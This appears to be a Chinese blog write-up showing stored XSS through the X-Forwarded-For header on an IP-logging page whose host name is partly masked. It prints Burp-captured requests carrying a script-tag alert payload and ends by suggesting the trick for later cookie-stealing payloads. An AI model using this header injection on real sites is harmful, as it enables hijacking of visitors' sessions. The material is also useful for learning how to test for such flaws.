首先是一个这个网站:

https://io.xxx.cn/iper/ips.html

图片

只要你访问了这个URL:

https://io.xxx.cn/iper/

图片

然后就会记录你的IP:

图片

那么如果吧IP修改为XssPayload会不会触发XSS跨站脚本攻击呢?

先是下载了这个修改IP的插件:X-Forwarded-For Header

需要科学上网才能使用哦!

图片

我显示吧IP修改为内网IP然后通过BurpSuite抓包:

图片

1
2
3
4
5
6
7
8
9
GET /iper/ HTTP/1.1
Host: io.xxx.cn
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
X-Forwarded-For: 192.168.1.2
Accept-Language: zh-CN,zh;q=0.9

X-Forwarded-For: 192.168.1.2修改为:X-Forwarded-For: "/><script>alert('Power_liu')</script>script>:

图片

1
2
3
4
5
6
7
8
9
GET /iper/ HTTP/1.1
Host: io.xxx.cn
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
X-Forwarded-For: "/><script>alert('Power_liu')</script>script>
Accept-Language: zh-CN,zh;q=0.9

图片

这样就成功触发了XSS-Payload弹窗!还是挺有趣的,以后挖洞的时候可以利用这一点来插入PayloadCookie!